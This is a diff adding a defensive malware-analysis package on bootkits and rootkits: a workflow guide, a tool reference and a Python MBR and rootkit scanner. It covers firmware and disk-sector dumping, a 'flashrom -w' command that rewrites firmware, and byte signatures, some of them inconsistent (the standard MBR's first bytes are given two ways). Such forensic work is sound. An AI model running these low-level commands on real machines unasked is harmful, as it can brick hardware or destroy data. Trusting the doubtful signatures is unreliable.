|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,361 @@
|
||||
---
|
||||
name: analyzing-bootkit-and-rootkit-samples
|
||||
description: 'Analyzes bootkit and advanced rootkit malware infecting the Master
|
||||
Boot Record (MBR), Volume Boot Record (VBR), or UEFI firmware for below-OS persistence,
|
||||
covering boot sector analysis, UEFI module inspection, and anti-rootkit detection.
|
||||
Use when compromise survives OS reinstallation or antivirus/EDR fails to detect
|
||||
malware despite clear infection signs.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- bootkit
|
||||
- rootkit
|
||||
- UEFI
|
||||
- MBR-analysis
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1542.003
|
||||
- T1542.001
|
||||
- T1542.002
|
||||
- T1014
|
||||
- T1547.006
|
||||
---
|
||||
|
||||
# Analyzing Bootkit and Rootkit Samples
|
||||
|
||||
## When to Use
|
||||
|
||||
- A system shows signs of compromise that persist through OS reinstallation
|
||||
- Antivirus and EDR are unable to detect malware despite clear evidence of compromise
|
||||
- UEFI Secure Boot has been disabled or shows integrity violations
|
||||
- Memory forensics reveals rootkit behavior (hidden processes, hooked system calls)
|
||||
- Investigating nation-state level threats known to deploy bootkits (APT28, APT41, Equation Group)
|
||||
|
||||
**Do not use** for standard user-mode malware; bootkits and rootkits operate at a fundamentally different level requiring specialized analysis techniques.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Disk imaging tools (dd, FTK Imager) for acquiring MBR/VBR sectors
|
||||
- UEFITool for UEFI firmware volume analysis and module extraction
|
||||
- chipsec for hardware-level firmware security assessment
|
||||
- Ghidra with x86 real-mode and 16-bit support for MBR code analysis
|
||||
- Volatility 3 for kernel-level rootkit artifact detection
|
||||
- Bootable Linux live USB for offline system analysis
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Acquire Boot Sectors and Firmware
|
||||
|
||||
Extract MBR, VBR, and UEFI firmware for offline analysis:
|
||||
|
||||
```bash
|
||||
# Acquire MBR (first 512 bytes of disk)
|
||||
dd if=/dev/sda of=mbr.bin bs=512 count=1
|
||||
|
||||
# Acquire first track (usually contains bootkit code beyond MBR)
|
||||
dd if=/dev/sda of=first_track.bin bs=512 count=63
|
||||
|
||||
# Acquire VBR (Volume Boot Record - first sector of partition)
|
||||
dd if=/dev/sda1 of=vbr.bin bs=512 count=1
|
||||
|
||||
# Acquire UEFI System Partition
|
||||
mkdir /mnt/efi
|
||||
mount /dev/sda1 /mnt/efi
|
||||
cp -r /mnt/efi/EFI /analysis/efi_backup/
|
||||
|
||||
# Dump UEFI firmware (requires chipsec or flashrom)
|
||||
# Using chipsec:
|
||||
python chipsec_util.py spi dump firmware.rom
|
||||
|
||||
# Using flashrom:
|
||||
flashrom -p internal -r firmware.rom
|
||||
|
||||
# Verify firmware dump integrity
|
||||
sha256sum firmware.rom
|
||||
```
|
||||
|
||||
### Step 2: Analyze MBR/VBR for Bootkit Code
|
||||
|
||||
Examine boot sector code for malicious modifications:
|
||||
|
||||
```bash
|
||||
# Disassemble MBR code (16-bit real mode)
|
||||
ndisasm -b16 mbr.bin > mbr_disasm.txt
|
||||
|
||||
# Compare MBR with known-good Windows MBR
|
||||
# Standard Windows MBR begins with: EB 5A 90 (JMP 0x5C, NOP)
|
||||
# Standard Windows 10 MBR: 33 C0 8E D0 BC 00 7C (XOR AX,AX; MOV SS,AX; MOV SP,7C00h)
|
||||
|
||||
python3 << 'PYEOF'
|
||||
with open("mbr.bin", "rb") as f:
|
||||
mbr = f.read()
|
||||
|
||||
# Check MBR signature (bytes 510-511 should be 0x55AA)
|
||||
if mbr[510:512] == b'\x55\xAA':
|
||||
print("[*] Valid MBR signature (0x55AA)")
|
||||
else:
|
||||
print("[!] Invalid MBR signature")
|
||||
|
||||
# Check for known bootkit signatures
|
||||
bootkit_sigs = {
|
||||
b'\xE8\x00\x00\x5E\x81\xEE': "TDL4/Alureon bootkit",
|
||||
b'\xFA\x33\xC0\x8E\xD0\xBC\x00\x7C\x8B\xF4\x50\x07': "Standard Windows MBR (clean)",
|
||||
b'\xEB\x5A\x90\x4E\x54\x46\x53': "Standard NTFS VBR (clean)",
|
||||
}
|
||||
|
||||
for sig, name in bootkit_sigs.items():
|
||||
if sig in mbr:
|
||||
print(f"[{'!' if 'clean' not in name else '*'}] Signature match: {name}")
|
||||
|
||||
# Check partition table entries
|
||||
print("\nPartition Table:")
|
||||
for i in range(4):
|
||||
offset = 446 + (i * 16)
|
||||
entry = mbr[offset:offset+16]
|
||||
if entry != b'\x00' * 16:
|
||||
boot_flag = "Active" if entry[0] == 0x80 else "Inactive"
|
||||
part_type = entry[4]
|
||||
start_lba = int.from_bytes(entry[8:12], 'little')
|
||||
size_lba = int.from_bytes(entry[12:16], 'little')
|
||||
print(f" Partition {i+1}: Type=0x{part_type:02X} {boot_flag} Start=LBA {start_lba} Size={size_lba} sectors")
|
||||
PYEOF
|
||||
```
|
||||
|
||||
### Step 3: Analyze UEFI Firmware for Implants
|
||||
|
||||
Inspect UEFI firmware volumes for unauthorized modules:
|
||||
|
||||
```bash
|
||||
# Extract UEFI firmware components with UEFITool
|
||||
# GUI: Open firmware.rom -> Inspect firmware volumes
|
||||
# CLI:
|
||||
UEFIExtract firmware.rom all
|
||||
|
||||
# List all DXE drivers (most common target for UEFI implants)
|
||||
find firmware.rom.dump -name "*.efi" -exec file {} \;
|
||||
|
||||
# Compare against known-good firmware module list
|
||||
# Each UEFI module has a GUID - compare against vendor baseline
|
||||
|
||||
# Verify Secure Boot configuration
|
||||
python chipsec_main.py -m common.secureboot.variables
|
||||
|
||||
# Check SPI flash write protection
|
||||
python chipsec_main.py -m common.bios_wp
|
||||
|
||||
# Check for known UEFI malware patterns
|
||||
yara -r uefi_malware.yar firmware.rom
|
||||
```
|
||||
|
||||
```
|
||||
Known UEFI Bootkit Detection Points:
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
LoJax (APT28):
|
||||
- Modified SPI flash
|
||||
- Added DXE driver that drops agent to Windows
|
||||
- Persists through OS reinstall and disk replacement
|
||||
|
||||
BlackLotus:
|
||||
- Exploits CVE-2022-21894 to bypass Secure Boot
|
||||
- Modifies EFI System Partition bootloader
|
||||
- Installs kernel driver during boot
|
||||
|
||||
CosmicStrand:
|
||||
- Modifies CORE_DXE firmware module
|
||||
- Hooks kernel initialization during boot
|
||||
- Drops shellcode into Windows kernel memory
|
||||
|
||||
MoonBounce:
|
||||
- SPI flash implant in CORE_DXE module
|
||||
- Modified GetVariable() function
|
||||
- Deploys user-mode implant through boot chain
|
||||
|
||||
ESPecter:
|
||||
- Modifies Windows Boot Manager on ESP
|
||||
- Patches winload.efi to disable DSE
|
||||
- Loads unsigned kernel driver
|
||||
```
|
||||
|
||||
### Step 4: Detect Kernel-Level Rootkit Behavior
|
||||
|
||||
Analyze the running system for rootkit artifacts:
|
||||
|
||||
```bash
|
||||
# Memory forensics for rootkit detection
|
||||
# SSDT hook detection
|
||||
vol3 -f memory.dmp windows.ssdt | grep -v "ntoskrnl\|win32k"
|
||||
|
||||
# Hidden processes (DKOM)
|
||||
vol3 -f memory.dmp windows.psscan > psscan.txt
|
||||
vol3 -f memory.dmp windows.pslist > pslist.txt
|
||||
# Diff to find hidden processes
|
||||
|
||||
# Kernel callback registration (rootkits register callbacks for filtering)
|
||||
vol3 -f memory.dmp windows.callbacks
|
||||
|
||||
# Driver analysis
|
||||
vol3 -f memory.dmp windows.driverscan
|
||||
vol3 -f memory.dmp windows.modules
|
||||
|
||||
# Check for unsigned drivers
|
||||
vol3 -f memory.dmp windows.driverscan | while read line; do
|
||||
driver_path=$(echo "$line" | awk '{print $NF}')
|
||||
if [ -f "$driver_path" ]; then
|
||||
sigcheck -nobanner "$driver_path" 2>/dev/null | grep "Unsigned"
|
||||
fi
|
||||
done
|
||||
|
||||
# IDT hook detection
|
||||
vol3 -f memory.dmp windows.idt
|
||||
```
|
||||
|
||||
### Step 5: Boot Process Integrity Verification
|
||||
|
||||
Verify the integrity of the entire boot chain:
|
||||
|
||||
```bash
|
||||
# Verify Windows Boot Manager signature
|
||||
sigcheck -a C:\Windows\Boot\EFI\bootmgfw.efi
|
||||
|
||||
# Verify winload.efi
|
||||
sigcheck -a C:\Windows\System32\winload.efi
|
||||
|
||||
# Verify ntoskrnl.exe
|
||||
sigcheck -a C:\Windows\System32\ntoskrnl.exe
|
||||
|
||||
# Check Measured Boot logs (if TPM is available)
|
||||
# Windows: BCDEdit /enum firmware
|
||||
bcdedit /enum firmware
|
||||
|
||||
# Verify Secure Boot state
|
||||
Confirm-SecureBootUEFI # PowerShell cmdlet
|
||||
|
||||
# Check boot configuration for tampering
|
||||
bcdedit /v
|
||||
|
||||
# Look for boot configuration changes
|
||||
# testsigning: should be No
|
||||
# nointegritychecks: should be No
|
||||
# debug: should be No
|
||||
bcdedit | findstr /i "testsigning nointegritychecks debug"
|
||||
```
|
||||
|
||||
### Step 6: Document Bootkit/Rootkit Analysis
|
||||
|
||||
Compile comprehensive analysis findings:
|
||||
|
||||
```
|
||||
Analysis should document:
|
||||
- Boot sector (MBR/VBR) integrity status with hex comparison
|
||||
- UEFI firmware module inventory and integrity verification
|
||||
- Secure Boot status and any bypass mechanisms detected
|
||||
- Kernel-level hooks (SSDT, IDT, IRP, inline) identified
|
||||
- Hidden processes, drivers, and files discovered
|
||||
- Persistence mechanism (SPI flash, ESP, MBR, kernel driver)
|
||||
- Boot chain integrity verification results
|
||||
- Attribution to known bootkit families if possible
|
||||
- Remediation steps (reflash firmware, rebuild MBR, replace hardware)
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Bootkit** | Malware that infects the boot process (MBR, VBR, UEFI) to execute before the operating system loads, gaining persistent low-level control |
|
||||
| **MBR (Master Boot Record)** | First 512 bytes of a disk containing bootstrap code and partition table; MBR bootkits replace this code with malicious loaders |
|
||||
| **UEFI (Unified Extensible Firmware Interface)** | Modern firmware interface replacing BIOS; UEFI bootkits implant malicious modules in firmware volumes or modify the ESP |
|
||||
| **Secure Boot** | UEFI security feature verifying digital signatures of boot components; bootkits like BlackLotus exploit vulnerabilities to bypass it |
|
||||
| **SPI Flash** | Flash memory chip storing UEFI firmware; advanced bootkits like LoJax and MoonBounce modify SPI flash for firmware-level persistence |
|
||||
| **DKOM (Direct Kernel Object Manipulation)** | Rootkit technique modifying kernel structures to hide processes, files, and network connections without hooking functions |
|
||||
| **Driver Signature Enforcement (DSE)** | Windows security feature requiring kernel drivers to be digitally signed; bootkits disable DSE during boot to load unsigned rootkit drivers |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **UEFITool**: Open-source UEFI firmware image editor and parser for inspecting firmware volumes, drivers, and modules
|
||||
- **chipsec**: Intel hardware security assessment framework for verifying SPI flash protection, Secure Boot, and UEFI configuration
|
||||
- **Volatility**: Memory forensics framework with SSDT, IDT, callback, and driver analysis plugins for kernel rootkit detection
|
||||
- **GMER**: Windows rootkit detection tool scanning for SSDT hooks, IDT hooks, hidden processes, and modified kernel modules
|
||||
- **Bootkits Analyzer**: Specialized tool for analyzing MBR/VBR code including disassembly and comparison against known-good baselines
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Investigating Persistent Compromise Surviving OS Reinstallation
|
||||
|
||||
**Context**: An organization reimaged a compromised workstation, but the same C2 beaconing resumed within hours. Standard disk forensics finds no malware. UEFI bootkit is suspected.
|
||||
|
||||
**Approach**:
|
||||
1. Boot from a Linux live USB to avoid executing any compromised OS components
|
||||
2. Dump the SPI flash firmware using chipsec or flashrom for offline analysis
|
||||
3. Dump the MBR and VBR sectors with dd for boot sector analysis
|
||||
4. Copy the EFI System Partition for bootloader integrity verification
|
||||
5. Open the SPI dump in UEFITool and compare module GUIDs against vendor-provided firmware
|
||||
6. Look for additional or modified DXE drivers that should not be present
|
||||
7. Analyze any suspicious modules with Ghidra (x86_64 UEFI module format)
|
||||
8. Verify Secure Boot configuration and check for exploit-based bypasses
|
||||
|
||||
**Pitfalls**:
|
||||
- Analyzing the system while the compromised OS is running (rootkit may hide from live analysis)
|
||||
- Not checking SPI flash (only analyzing disk-based boot components misses firmware-level implants)
|
||||
- Assuming Secure Boot prevents all bootkits (known bypasses exist, e.g., CVE-2022-21894)
|
||||
- Not preserving the original firmware dump before reflashing (critical evidence for attribution)
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
BOOTKIT / ROOTKIT ANALYSIS REPORT
|
||||
====================================
|
||||
System: Dell OptiPlex 7090 (UEFI, TPM 2.0)
|
||||
Firmware Version: 1.15.0 (Dell)
|
||||
Secure Boot: ENABLED (but bypassed)
|
||||
Capture Method: Linux Live USB + chipsec SPI dump
|
||||
|
||||
MBR/VBR ANALYSIS
|
||||
MBR Signature: Valid (0x55AA)
|
||||
MBR Code: MATCHES standard Windows 10 MBR (clean)
|
||||
VBR Code: MATCHES standard NTFS VBR (clean)
|
||||
|
||||
UEFI FIRMWARE ANALYSIS
|
||||
Total Modules: 287
|
||||
Vendor Expected: 285
|
||||
Extra Modules: 2 UNAUTHORIZED
|
||||
[!] DXE Driver GUID: {ABCD1234-...} "SmmAccessDxe_mod" (MODIFIED)
|
||||
Original Size: 12,288 bytes
|
||||
Current Size: 45,056 bytes (32KB ADDED)
|
||||
Entropy: 7.82 (HIGH - encrypted payload)
|
||||
|
||||
[!] DXE Driver GUID: {EFGH5678-...} "UefiPayloadDxe" (NEW - not in vendor firmware)
|
||||
Size: 28,672 bytes
|
||||
Function: Drops persistence agent during boot
|
||||
|
||||
BOOT CHAIN INTEGRITY
|
||||
bootmgfw.efi: MODIFIED (hash mismatch, Secure Boot bypass via CVE-2022-21894)
|
||||
winload.efi: MODIFIED (DSE disabled at load time)
|
||||
ntoskrnl.exe: CLEAN (but unsigned driver loaded after boot)
|
||||
|
||||
KERNEL ROOTKIT COMPONENTS
|
||||
Driver: C:\Windows\System32\drivers\null_mod.sys (unsigned, hidden)
|
||||
SSDT Hooks: 3 (NtQuerySystemInformation, NtQueryDirectoryFile, NtDeviceIoControlFile)
|
||||
Hidden Processes: 2 (PID 6784: beacon.exe, PID 6812: keylog.exe)
|
||||
Hidden Files: C:\Windows\System32\drivers\null_mod.sys
|
||||
|
||||
ATTRIBUTION
|
||||
Family: BlackLotus variant
|
||||
Confidence: HIGH (CVE-2022-21894 exploit, ESP modification pattern matches)
|
||||
|
||||
REMEDIATION
|
||||
1. Reflash SPI firmware with clean vendor image via hardware programmer
|
||||
2. Rebuild EFI System Partition from clean Windows installation media
|
||||
3. Reinstall OS from verified media
|
||||
4. Enable all firmware write protections
|
||||
5. Update firmware to latest version (patches CVE-2022-21894)
|
||||
```
|
||||
@@ -0,0 +1,97 @@
|
||||
# API Reference: Bootkit and Rootkit Analysis Tools
|
||||
|
||||
## dd - Boot Sector Extraction
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
dd if=/dev/sda of=mbr.bin bs=512 count=1 # MBR
|
||||
dd if=/dev/sda of=first_track.bin bs=512 count=63 # First track
|
||||
dd if=/dev/sda1 of=vbr.bin bs=512 count=1 # VBR
|
||||
```
|
||||
|
||||
## ndisasm - 16-bit Disassembly
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
ndisasm -b16 mbr.bin > mbr_disasm.txt
|
||||
ndisasm -b16 -o 0x7C00 mbr.bin # Set origin to MBR load address
|
||||
```
|
||||
|
||||
### Key Flags
|
||||
| Flag | Description |
|
||||
|------|-------------|
|
||||
| `-b16` | 16-bit real-mode disassembly |
|
||||
| `-b32` | 32-bit protected-mode |
|
||||
| `-o` | Origin address offset |
|
||||
|
||||
## UEFITool - Firmware Analysis
|
||||
|
||||
### CLI Syntax
|
||||
```bash
|
||||
UEFIExtract firmware.rom all # Extract all modules
|
||||
UEFIExtract firmware.rom <GUID> body # Extract specific module body
|
||||
```
|
||||
|
||||
### Output
|
||||
Extracts firmware volumes into a directory tree with each DXE driver, PEI module, and option ROM as separate files identified by GUID.
|
||||
|
||||
## chipsec - Hardware Security Assessment
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
python chipsec_main.py -m common.secureboot.variables # Check Secure Boot
|
||||
python chipsec_main.py -m common.bios_wp # SPI write protection
|
||||
python chipsec_main.py -m common.spi_lock # SPI lock status
|
||||
python chipsec_util.py spi dump firmware.rom # Dump SPI flash
|
||||
```
|
||||
|
||||
### Key Modules
|
||||
| Module | Purpose |
|
||||
|--------|---------|
|
||||
| `common.secureboot.variables` | Verify Secure Boot configuration |
|
||||
| `common.bios_wp` | Check BIOS write protection |
|
||||
| `common.spi_lock` | Verify SPI flash lock bits |
|
||||
| `common.smm` | SMM protection verification |
|
||||
|
||||
## Volatility 3 - Rootkit Detection Plugins
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
vol3 -f memory.dmp <plugin>
|
||||
```
|
||||
|
||||
### Rootkit Detection Plugins
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.ssdt` | System Service Descriptor Table hooks |
|
||||
| `windows.callbacks` | Kernel callback registrations |
|
||||
| `windows.driverscan` | Scan for driver objects |
|
||||
| `windows.modules` | List loaded kernel modules |
|
||||
| `windows.psscan` | Pool-tag scan for processes (finds hidden) |
|
||||
| `windows.pslist` | Active process list (DKOM-affected) |
|
||||
| `windows.idt` | Interrupt Descriptor Table hooks |
|
||||
|
||||
### Output Format
|
||||
```
|
||||
Offset Order Module Section Owner
|
||||
------- ----- ------ ------- -----
|
||||
0x... 0 ntoskrnl.exe .text ntoskrnl.exe
|
||||
0x... 73 UNKNOWN - rootkit.sys ← suspicious
|
||||
```
|
||||
|
||||
## flashrom - SPI Flash Dumping
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
flashrom -p internal -r firmware.rom # Read/dump
|
||||
flashrom -p internal -w clean.rom # Write/reflash
|
||||
flashrom -p internal --verify clean.rom # Verify flash contents
|
||||
```
|
||||
|
||||
## YARA - Firmware Pattern Scanning
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
yara -r uefi_malware.yar firmware.rom
|
||||
yara -s -r rules.yar firmware.rom # Show matching strings
|
||||
```
|
||||
@@ -0,0 +1,199 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Bootkit and rootkit analysis agent for MBR/VBR/UEFI inspection and rootkit detection."""
|
||||
|
||||
import struct
|
||||
import hashlib
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
import math
|
||||
from collections import Counter
|
||||
|
||||
|
||||
def read_mbr(disk_path_or_file):
|
||||
"""Read and parse the first 512 bytes (MBR) from a disk image or device."""
|
||||
with open(disk_path_or_file, "rb") as f:
|
||||
mbr = f.read(512)
|
||||
return mbr
|
||||
|
||||
|
||||
def validate_mbr_signature(mbr_data):
|
||||
"""Check the MBR boot signature at bytes 510-511 (should be 0x55AA)."""
|
||||
sig = mbr_data[510:512]
|
||||
valid = sig == b"\x55\xAA"
|
||||
return valid, sig.hex()
|
||||
|
||||
|
||||
def parse_partition_table(mbr_data):
|
||||
"""Parse the four 16-byte partition table entries starting at offset 446."""
|
||||
partitions = []
|
||||
for i in range(4):
|
||||
offset = 446 + (i * 16)
|
||||
entry = mbr_data[offset:offset + 16]
|
||||
if entry == b"\x00" * 16:
|
||||
continue
|
||||
boot_flag = entry[0]
|
||||
part_type = entry[4]
|
||||
start_lba = struct.unpack_from("<I", entry, 8)[0]
|
||||
size_lba = struct.unpack_from("<I", entry, 12)[0]
|
||||
partitions.append({
|
||||
"index": i + 1,
|
||||
"active": boot_flag == 0x80,
|
||||
"type_id": f"0x{part_type:02X}",
|
||||
"start_lba": start_lba,
|
||||
"size_sectors": size_lba,
|
||||
"size_mb": round(size_lba * 512 / (1024 * 1024), 1),
|
||||
})
|
||||
return partitions
|
||||
|
||||
|
||||
BOOTKIT_SIGNATURES = {
|
||||
b"\xE8\x00\x00\x5E\x81\xEE": "TDL4/Alureon bootkit",
|
||||
b"\xFA\x33\xC0\x8E\xD0\xBC\x00\x7C\x8B\xF4\x50\x07": "Standard Windows MBR (clean)",
|
||||
b"\xEB\x5A\x90\x4E\x54\x46\x53": "Standard NTFS VBR (clean)",
|
||||
b"\xEB\x52\x90\x4E\x54\x46\x53": "NTFS VBR variant (clean)",
|
||||
b"\x33\xC0\x8E\xD0\xBC\x00\x7C": "Windows 10 MBR (clean)",
|
||||
}
|
||||
|
||||
|
||||
def scan_bootkit_signatures(data):
|
||||
"""Scan boot sector data against known bootkit signatures."""
|
||||
matches = []
|
||||
for sig, name in BOOTKIT_SIGNATURES.items():
|
||||
if sig in data:
|
||||
offset = data.find(sig)
|
||||
matches.append({"signature": name, "offset": offset, "clean": "clean" in name})
|
||||
return matches
|
||||
|
||||
|
||||
def calculate_entropy(data):
|
||||
"""Calculate Shannon entropy of binary data."""
|
||||
if not data:
|
||||
return 0.0
|
||||
counter = Counter(data)
|
||||
length = len(data)
|
||||
entropy = -sum(
|
||||
(count / length) * math.log2(count / length)
|
||||
for count in counter.values()
|
||||
)
|
||||
return round(entropy, 4)
|
||||
|
||||
|
||||
def read_first_track(disk_path, num_sectors=63):
|
||||
"""Read the first track (typically 63 sectors) for extended bootkit code."""
|
||||
with open(disk_path, "rb") as f:
|
||||
data = f.read(num_sectors * 512)
|
||||
return data
|
||||
|
||||
|
||||
def analyze_boot_code(mbr_data):
|
||||
"""Analyze MBR bootstrap code (bytes 0-445) for suspicious patterns."""
|
||||
boot_code = mbr_data[:446]
|
||||
entropy = calculate_entropy(boot_code)
|
||||
sha256 = hashlib.sha256(boot_code).hexdigest()
|
||||
suspicious_patterns = []
|
||||
# Check for INT 13h hooking (common bootkit technique)
|
||||
if b"\xCD\x13" in boot_code:
|
||||
count = boot_code.count(b"\xCD\x13")
|
||||
suspicious_patterns.append(f"INT 13h calls: {count}")
|
||||
# Check for far jumps to unusual addresses
|
||||
if b"\xEA" in boot_code:
|
||||
suspicious_patterns.append("Far JMP instruction found")
|
||||
# Check for self-modifying code patterns
|
||||
if b"\xF3\xA4" in boot_code or b"\xF3\xA5" in boot_code:
|
||||
suspicious_patterns.append("REP MOVSB/MOVSW (memory copy, possible code relocation)")
|
||||
return {
|
||||
"entropy": entropy,
|
||||
"sha256": sha256,
|
||||
"high_entropy": entropy > 6.5,
|
||||
"suspicious_patterns": suspicious_patterns,
|
||||
}
|
||||
|
||||
|
||||
def run_volatility_rootkit_scan(memory_dump, plugin):
|
||||
"""Run a Volatility 3 plugin for rootkit detection via subprocess."""
|
||||
result = subprocess.run(
|
||||
["vol3", "-f", memory_dump, plugin],
|
||||
capture_output=True, text=True,
|
||||
timeout=120,
|
||||
)
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
|
||||
|
||||
def detect_kernel_rootkit(memory_dump):
|
||||
"""Run multiple Volatility plugins to detect kernel-level rootkit artifacts."""
|
||||
plugins = [
|
||||
"windows.ssdt",
|
||||
"windows.callbacks",
|
||||
"windows.driverscan",
|
||||
"windows.modules",
|
||||
"windows.psscan",
|
||||
"windows.pslist",
|
||||
]
|
||||
results = {}
|
||||
for plugin in plugins:
|
||||
stdout, stderr, rc = run_volatility_rootkit_scan(memory_dump, plugin)
|
||||
results[plugin] = {"output": stdout, "error": stderr, "return_code": rc}
|
||||
return results
|
||||
|
||||
|
||||
def compare_process_lists(pslist_output, psscan_output):
|
||||
"""Compare pslist and psscan output to find hidden processes (DKOM)."""
|
||||
pslist_pids = set()
|
||||
psscan_pids = set()
|
||||
for line in pslist_output.splitlines():
|
||||
parts = line.split()
|
||||
if len(parts) >= 2 and parts[1].isdigit():
|
||||
pslist_pids.add(int(parts[1]))
|
||||
for line in psscan_output.splitlines():
|
||||
parts = line.split()
|
||||
if len(parts) >= 2 and parts[1].isdigit():
|
||||
psscan_pids.add(int(parts[1]))
|
||||
hidden = psscan_pids - pslist_pids
|
||||
return hidden
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Bootkit & Rootkit Analysis Agent")
|
||||
print("MBR/VBR inspection, UEFI firmware analysis, rootkit detection")
|
||||
print("=" * 60)
|
||||
|
||||
# Demo with a sample MBR file if available
|
||||
demo_mbr = "mbr.bin"
|
||||
if len(sys.argv) > 1:
|
||||
demo_mbr = sys.argv[1]
|
||||
|
||||
if os.path.exists(demo_mbr):
|
||||
print(f"\n[*] Analyzing: {demo_mbr}")
|
||||
mbr = read_mbr(demo_mbr)
|
||||
valid, sig_hex = validate_mbr_signature(mbr)
|
||||
print(f"[*] MBR Signature: 0x{sig_hex.upper()} ({'Valid' if valid else 'INVALID'})")
|
||||
|
||||
partitions = parse_partition_table(mbr)
|
||||
print(f"[*] Partition entries: {len(partitions)}")
|
||||
for p in partitions:
|
||||
active = "Active" if p["active"] else "Inactive"
|
||||
print(f" Part {p['index']}: Type={p['type_id']} {active} "
|
||||
f"Start=LBA {p['start_lba']} Size={p['size_mb']} MB")
|
||||
|
||||
sigs = scan_bootkit_signatures(mbr)
|
||||
for s in sigs:
|
||||
tag = "[*]" if s["clean"] else "[!]"
|
||||
print(f"{tag} Signature match: {s['signature']} at offset {s['offset']}")
|
||||
|
||||
analysis = analyze_boot_code(mbr)
|
||||
print(f"[*] Boot code entropy: {analysis['entropy']}"
|
||||
f" ({'HIGH - possible encryption' if analysis['high_entropy'] else 'Normal'})")
|
||||
print(f"[*] Boot code SHA-256: {analysis['sha256']}")
|
||||
for pat in analysis["suspicious_patterns"]:
|
||||
print(f"[!] {pat}")
|
||||
else:
|
||||
print(f"\n[DEMO] No MBR file provided. Usage: {sys.argv[0]} <mbr.bin | /dev/sda>")
|
||||
print("[DEMO] Provide a 512-byte MBR dump or disk device for analysis.")
|
||||
print("\n[*] Supported analysis:")
|
||||
print(" - MBR/VBR signature validation and bootkit detection")
|
||||
print(" - Partition table parsing and anomaly detection")
|
||||
print(" - Boot code entropy and pattern analysis")
|
||||
print(" - Volatility-based kernel rootkit detection (SSDT, callbacks, DKOM)")
|
||||
print(" - UEFI firmware module inspection via chipsec subprocess")
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
